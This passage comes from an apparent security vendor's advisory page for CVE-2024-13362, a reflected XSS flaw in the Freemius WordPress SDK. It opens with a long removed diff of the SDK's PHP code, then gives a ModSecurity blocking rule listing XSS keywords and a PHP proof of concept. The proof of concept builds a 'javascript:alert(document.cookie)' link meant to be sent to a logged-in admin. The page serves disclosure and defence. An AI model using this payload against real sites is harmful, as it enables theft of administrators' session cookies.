-                foreach ( $id_slug_type_path_map as $module_id => $data ) {
-                    if ( WP_FS__MODULE_TYPE_PLUGIN === $data['type'] ) {
-                        $plugin_slugs[ $data['slug'] ] = true;
-                    }
-                }
-
-                $installs = self::get_account_option( 'sites', WP_FS__MODULE_TYPE_PLUGIN, $blog_id );
-
-                if ( is_array( $installs ) ) {
-                    foreach ( $installs as $slug => $install ) {
-                        if ( ! isset( $connection_status[ $slug ] ) ) {
-                            $connection_status[ $slug ] = array();
-                        }
-
-                        if ( is_object( $install ) &&
-                             FS_Site::is_valid_id( $install->id ) &&
-                             FS_User::is_valid_id( $install->user_id )
-                        ) {
-                            $connection_status[ $slug ][ $blog_id ] = $install->user_id;
-                        }
-                    }
-                }
-            }
-
-            foreach ( $plugin_slugs as $slug => $true ) {
-                if ( ! isset( $connection_status[ $slug ] ) ) {
-                    $connection_status[ $slug ] = array();
-                }
-
-                foreach ( $sites as $site ) {
-                    $blog_id = self::get_site_blog_id( $site );
-
-                    if ( isset( $connection_status[ $slug ][ $blog_id ] ) ) {
-                        continue;
-                    }
-
-                    $storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $slug );
-
-                    $is_anonymous = $storage->get( 'is_anonymous', null, $blog_id );
-
-                    if ( ! is_null( $is_anonymous ) ) {
-                        // Since 1.1.3 is_anonymous is an array.
-                        if ( is_array( $is_anonymous ) && isset( $is_anonymous['is'] ) ) {
-                            $is_anonymous = $is_anonymous['is'];
-                        }
-
-                        if ( is_bool( $is_anonymous ) && true === $is_anonymous ) {
-                            $connection_status[ $slug ][ $blog_id ] = 'skipped';
-                        }
-                    }
-
-                    if ( ! isset( $connection_status[ $slug ][ $blog_id ] ) ) {
-                        $connection_status[ $slug ][ $blog_id ] = 'ignored';
-                    }
-                }
-            }
-
-            $super_admins = array();
-
-            foreach ( $connection_status as $slug => $blogs_status ) {
-                $skips                 = 0;
-                $ignores               = 0;
-                $connections           = 0;
-                $opted_in_users        = array();
-                $opted_in_super_admins = array();
-
-                $storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $slug );
-
-                foreach ( $blogs_status as $blog_id => $status_or_user_id ) {
-                    if ( 'skipped' === $status_or_user_id ) {
-                        $skips ++;
-                    } else if ( 'ignored' === $status_or_user_id ) {
-                        $ignores ++;
-                    } else if ( FS_User::is_valid_id( $status_or_user_id ) ) {
-                        $connections ++;
-
-                        if ( ! isset( $opted_in_users[ $status_or_user_id ] ) ) {
-                            $opted_in_users[ $status_or_user_id ] = array();
-                        }
-
-                        $opted_in_users[ $status_or_user_id ][] = $blog_id;
-
-                        if ( isset( $super_admins[ $status_or_user_id ] ) ||
-                             self::is_super_admin( $status_or_user_id )
-                        ) {
-                            // Cache super-admin data.
-                            $super_admins[ $status_or_user_id ] = true;
-
-                            // Remember opted-in super-admins for the plugin.
-                            $opted_in_super_admins[ $status_or_user_id ] = true;
-                        }
-                    }
-                }
-
-                $main_super_admin_user_id = null;
-                $all_migrated             = false;
-                if ( $sites_count == $skips ) {
-                    // All sites were skipped -> network skip by copying the anonymous mode from any of the sites.
-                    $storage->is_anonymous_ms = $storage->is_anonymous;
-
-                    $all_migrated = true;
-                } else if ( $sites_count == $ignores ) {
-                    // Don't do anything, still in activation mode.
-
-                    $all_migrated = true;
-                } else if ( 0 < count( $opted_in_super_admins ) ) {
-                    // Find the super-admin with the majority of installs.
-                    $max_installs_by_super_admin = 0;
-                    foreach ( $opted_in_super_admins as $user_id => $true ) {
-                        $installs_count = count( $opted_in_users[ $user_id ] );
-
-                        if ( $installs_count > $max_installs_by_super_admin ) {
-                            $max_installs_by_super_admin = $installs_count;
-                            $main_super_admin_user_id    = $user_id;
-                        }
-                    }
-
-                    if ( $sites_count == $connections && 1 == count( $opted_in_super_admins ) ) {
-                        // Super-admin opted-in for all sites in the network.
-                        $storage->is_network_connected = true;
-
-                        $all_migrated = true;
-                    }
-
-                    // Store network user.
-                    $storage->network_user_id = $main_super_admin_user_id;
-
-                    $storage->network_install_blog_id = ( $sites_count == $connections ) ?
-                        // Since all sites are opted-in, associating with the main site.
-                        get_current_blog_id() :
-                        // Associating with the 1st found opted-in site.
-                        $opted_in_users[ $main_super_admin_user_id ][0];
-
-                    /**
-                     * Make sure we migrate the plan ID of the network install, otherwise, if after the migration
-                     * the 1st page that will be loaded is the network level WP Admin and $storage->network_install_blog_id
-                     * is different than the main site of the network, the $this->_site will not be set since the plan_id
-                     * will be empty.
-                     */
-                    $storage->migrate_to_network();
-                    self::migrate_install_plan_to_plan_id( $storage, $storage->network_install_blog_id );
-                } else {
-                    // At least one opt-in. All the opt-in were created by a non-super-admin.
-                    if ( 0 == $ignores ) {
-                        // All sites were opted-in or skipped, all by non-super-admin. So delegate all.
-                        $storage->store( 'is_delegated_connection', true, true );
-
-                        $all_migrated = true;
-                    }
-                }
-
-                if ( ! $all_migrated ) {
-                    /**
-                     * Delegate all sites that were:
-                     *  1) Opted-in by a user that is NOT the main-super-admin.
-                     *  2) Skipped and non of the sites was opted-in by a super-admin. If any site was opted-in by a super-admin, there will be a main-super-admin, and we consider the skip as if it was done by that user.
-                     */
-                    foreach ( $blogs_status as $blog_id => $status_or_user_id ) {
-                        if ( $status_or_user_id == $main_super_admin_user_id ) {
-                            continue;
-                        }
-
-                        if ( FS_User::is_valid_id( $status_or_user_id ) ||
-                             ( 'skipped' === $status_or_user_id && is_null( $main_super_admin_user_id ) )
-                        ) {
-                            $storage->store( 'is_delegated_connection', true, $blog_id );
-                        }
-                    }
-                }
-
-
-                if ( ( $connections + $skips > 0 ) ) {
-                    if ( $ignores > 0 ) {
-                        /**
-                         * If admin already opted-in or skipped in any of the network sites, and also
-                         * have sites which the connection decision was not yet taken, set this plugin
-                         * into network activation mode so the super-admin can choose what to do with
-                         * the rest of the sites.
-                         */
-                        self::set_network_upgrade_mode( $storage );
-                    }
-                }
-            }
-        }
-
-        /**
-         * Set a module into network upgrade mode.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.0.0
-         *
-         * @param FS_Storage $storage
-         *
-         * @return bool
-         */
-        public static function set_network_upgrade_mode( FS_Storage $storage ) {
-            return $storage->is_network_activation = true;
-        }
-
-        /**
-         * Will return true after upgrading to the SDK with the network level integration,
-         * when the super-admin involvement is required regarding the rest of the sites.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.0.0
-         *
-         * @return bool
-         */
-        function is_network_upgrade_mode() {
-            return $this->_storage->get( 'is_network_activation' );
-        }
-
-        /**
-         * Clear flag after the upgrade mode completion.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.0.0
-         *
-         * @return bool True if network activation was on and now completed.
-         */
-        private function network_upgrade_mode_completed() {
-            if ( fs_is_network_admin() && $this->is_network_upgrade_mode() ) {
-                $this->_storage->remove( 'is_network_activation' );
-
-                return true;
-            }
-
-            return false;
-        }
-
-        #endregion
-
-        /**
-         * This action is connected to the 'plugins_loaded' hook and helps to determine
-         * if this is a new plugin installation or a plugin update.
-         *
-         * There are 3 different use-cases:
-         *    1) New plugin installation right with Freemius:
-         *       1.1 _activate_plugin_event_hook() will be executed first
-         *       1.2 Since $this->_storage->is_plugin_new_install is not set,
-         *           and $this->_storage->plugin_last_version is not set,
-         *           $this->_storage->is_plugin_new_install will be set to TRUE.
-         *       1.3 When _plugins_loaded() will be executed, $this->_storage->is_plugin_new_install will
-         *           be already set to TRUE.
-         *
-         *    2) Plugin update, didn't have Freemius before, and now have the SDK:
-         *       2.1 _activate_plugin_event_hook() will not be executed, because
-         *           the activation hook do NOT fires on updates since WP 3.1.
-         *       2.2 When _plugins_loaded() will be executed, $this->_storage->is_plugin_new_install will
-         *           be empty, therefore, it will be set to FALSE.
-         *
-         *    3) Plugin update, had Freemius in prev version as well:
-         *       3.1 _version_updates_handler() will be executed 1st, since FS was installed
-         *           before, $this->_storage->plugin_last_version will NOT be empty,
-         *           therefore, $this->_storage->is_plugin_new_install will be set to FALSE.
-         *       3.2 When _plugins_loaded() will be executed, $this->_storage->is_plugin_new_install is
-         *           already set, therefore, it will not be modified.
-         *
-         *    Use-case #3 is backward compatible, #3.1 will be executed since 1.0.9.
-         *
-         * NOTE:
-         *    The only fallback of this mechanism is if an admin updates a plugin based on use-case #2,
-         *    and then, the next immediate PageView is the plugin's main settings page, it will not
-         *    show the opt-in right away. The reason it will happen is because Freemius execution
-         *    will be turned off till the plugin is fully loaded at least once
-         *    (till $this->_storage->was_plugin_loaded is TRUE).
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.9
-         *
-         */
-        function _plugins_loaded() {
-            // Update flag that plugin was loaded with Freemius at least once.
-            $this->_storage->was_plugin_loaded = true;
-
-            /**
-             * Bug fix - only set to false when it's a plugin, due to the
-             * execution sequence of the theme hooks and our methods, if
-             * this will be set for themes, Freemius will always assume
-             * it's a theme update.
-             *
-             * @author Vova Feldman (@svovaf)
-             * @since  1.2.2.2
-             */
-            if ( $this->is_plugin() &&
-                 ! isset( $this->_storage->is_plugin_new_install )
-            ) {
-                $this->_storage->is_plugin_new_install = (
-                    ! is_plugin_active( $this->_plugin_basename ) &&
-                    empty( $this->_storage->plugin_last_version )
-                );
-            }
-        }
-
-        function _run_garbage_collector() {
-            if ( true !== fs_get_optional_constant( 'WP_FS__ENABLE_GARBAGE_COLLECTOR', true ) ) {
-                return;
-            }
-
-            if ( ! $this->is_user_in_admin() ) {
-                return;
-            }
-
-            require_once WP_FS__DIR_INCLUDES . '/class-fs-lock.php';
-
-            $lock = new FS_Lock( 'garbage_collection' );
-
-            if ( $lock->is_locked() ) {
-                return;
-            }
-
-            // Create a 1-day lock.
-            $lock->lock( WP_FS__TIME_24_HOURS_IN_SEC );
-
-            FS_Garbage_Collector::instance()->clean();
-        }
-
-        /**
-         * Modifies all external links in the submenu by altering their href, and also opens them in new tab if needed.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @author Swashata Ghosh (@swashata)
-         * @since  2.1.4
-         */
-        static function _handle_submenu_external_link() {
-            ?>
-            <script type="text/javascript">
-                (function ( $ ) {
-                    $( '.fs-submenu-item' ).each( function () {
-                        var $this = $( this ),
-                            $parent = $this.parent(),
-                            externalLink = $this.data( 'fs-external-url' ),
-                            isOpensInNewTab = $this.data( 'fs-new-tab' );
-
-                        if ( externalLink ) {
-                            $parent.attr( 'href', externalLink );
-                        }
-
-                        if ( isOpensInNewTab ) {
-                            $parent.attr( { target: '_blank', rel: 'noopener noreferrer' } );
-                        }
-                    } );
-                } )( jQuery );
-            </script>
-            <?php
-        }
-
-        /**
-         * @author Vova Feldman (@svovaf)
-         * @since  1.0.9
-         */
-        private function register_constructor_hooks() {
-            $this->_logger->entrance();
-
-            if ( is_admin() ) {
-                add_action( 'admin_init', array( &$this, '_hook_action_links_and_register_account_hooks' ) );
-
-                if ( $this->is_plugin() ) {
-                    if ( self::is_plugin_install_page() && true !== fs_request_get_bool( 'fs_allow_updater_and_dialog' ) ) {
-                        /**
-                         * Unless the `fs_allow_updater_and_dialog` URL param exists and its value is `true`, make
-                         * Freemius-related updates unavailable on the "Add Plugins" admin page (/plugin-install.php)
-                         * so that they won't interfere with the .org plugins' functionalities on that page (e.g.
-                         * updating of a .org plugin).
-                         */
-                        add_filter( 'site_transient_update_plugins', array( 'Freemius', '_remove_fs_updates_from_plugin_install_page' ), 10, 2 );
-                    } else if ( self::is_plugins_page() || self::is_updates_page() ) {
-                        /**
-                         * On the "Plugins" and "Updates" admin pages, if there are premium or non–org-compliant plugins, modify their details dialog URLs (add a Freemius-specific param) so that the SDK can determine if the plugin information dialog should show information from Freemius.
-                         *
-                         * @author Leo Fajardo (@leorw)
-                         * @since 2.2.3
-                         */
-                        add_action( 'admin_footer', array( 'Freemius', '_prepend_fs_allow_updater_and_dialog_flag_url_param' ) );
-                    }
-
-                    $plugin_dir = dirname( $this->_plugin_dir_path ) . '/';
-
-                    /**
-                     * @since 1.2.2
-                     *
-                     * Hook to both free and premium version activations to support
-                     * auto deactivation on the other version activation.
-                     */
-                    register_activation_hook(
-                        $plugin_dir . $this->_free_plugin_basename,
-                        array( &$this, '_activate_plugin_event_hook' )
-                    );
-
-                    register_activation_hook(
-                        $plugin_dir . $this->premium_plugin_basename(),
-                        array( &$this, '_activate_plugin_event_hook' )
-                    );
-                } else {
-                    add_action( 'after_switch_theme', array( &$this, '_activate_theme_event_hook' ), 10, 2 );
-
-                    add_action( 'admin_footer', array( &$this, '_style_premium_theme' ) );
-                }
-
-                /**
-                 * Part of the mechanism to identify new plugin install vs. plugin update.
-                 *
-                 * @author Vova Feldman (@svovaf)
-                 * @since  1.1.9
-                 */
-                if ( empty( $this->_storage->was_plugin_loaded ) ) {
-                    /**
-                     * During the plugin activation (not theme), 'plugins_loaded' will be already executed
-                     * when the logic gets here since the activation logic first add the activate plugins,
-                     * then triggers 'plugins_loaded', and only then include the code of the plugin that
-                     * is activated. Which means that _plugins_loaded() will NOT be executed during the
-                     * plugin activation, and that IS intentional.
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     */
-                    if ( $this->is_plugin() &&
-                         $this->is_activation_mode( false ) &&
-                         0 == did_action( 'plugins_loaded' )
-                    ) {
-                        add_action( 'plugins_loaded', array( &$this, '_plugins_loaded' ) );
-                    } else {
-                        // If was activated before, then it was already loaded before.
-                        $this->_plugins_loaded();
-                    }
-                }
-
-                add_action( 'plugins_loaded', array( &$this, '_run_garbage_collector' ) );
-
-                if ( ! self::is_ajax() ) {
-                    if ( ! $this->is_addon() ) {
-                        add_action( 'init', array( &$this, '_add_default_submenu_items' ), WP_FS__LOWEST_PRIORITY );
-                    }
-                }
-
-                if ( $this->_storage->handle_gdpr_admin_notice ) {
-                    add_action( 'init', array( &$this, '_maybe_show_gdpr_admin_notice' ) );
-                }
-
-                add_action( 'init', array( &$this, '_maybe_add_gdpr_optin_ajax_handler') );
-                add_action( 'init', array( &$this, '_add_pricing_ajax_handler' ) );
-            }
-
-            if ( $this->is_plugin() ) {
-                if ( version_compare( $GLOBALS['wp_version'], '5.1', '<' ) ) {
-                    add_action( 'wpmu_new_blog', array( $this, '_after_new_blog_callback' ), 10, 6 );
-                } else {
-                    add_action( 'wp_initialize_site', array( $this, '_after_wp_initialize_site_callback' ), 11, 2 );
-                }
-
-                register_deactivation_hook( $this->_plugin_main_file_path, array( &$this, '_deactivate_plugin_hook' ) );
-            }
-
-            if ( is_multisite() ) {
-                add_action( 'deactivate_blog', array( &$this, '_after_site_deactivated_callback' ) );
-                add_action( 'archive_

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# Blocks reflected DOM-XSS via the 'url' parameter in Freemius admin page
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule QUERY_STRING "@rx page=freemius" "chain"
    SecRule ARGS:url "@rx (?i)(?:javascript|vbscript|data|file|alert|onerror|onload|onclick|onmouseover|prompt|confirm|eval|execscript|setTimeout|setInterval|String.fromCharCode|document.cookie|document.location|XMLHttpRequest|ActiveXObject)" 
      "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

<?php

$target_url = 'http://localhost/wordpress'; // Change this to the target WordPress URL

// The vulnerable endpoint is the Freemius admin page
$vulnerable_url = $target_url . '/wp-admin/admin.php?page=freemius&url=';

// XSS payload to execute in victim's browser
$xss_payload = 'javascript:alert(document.cookie)';

$full_url = $vulnerable_url . urlencode($xss_payload);

echo "[+] CVE-2024-13362 Proof of Conceptn";
echo "[+] Target URL: $target_urln";
echo "[+] Exploit URL: $full_urlnn";

echo "[*] To test, send the following link to a logged-in admin:n";
echo "$full_urlnn";

// Optional: Use cURL to send the request (may not execute JS, but demonstrates reflection)
echo "[*] Testing request to see if the url parameter is reflected...nn";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP+Cookie+check'); // Optional cookie

$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo '[!] cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "[+] Response received (check for the payload in the HTML)...n";
    // Simple check: look for the payload in the response
    if (strpos($response, $xss_payload) !== false) {
        echo "[!] VULNERABLE: The url parameter is reflected in the response!n";
    } else {
        echo "[*] The url parameter may not be reflected or is sanitized. Manual check advised.n";
    }
    echo "[+] Response length: " . strlen($response) . " bytesn";
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School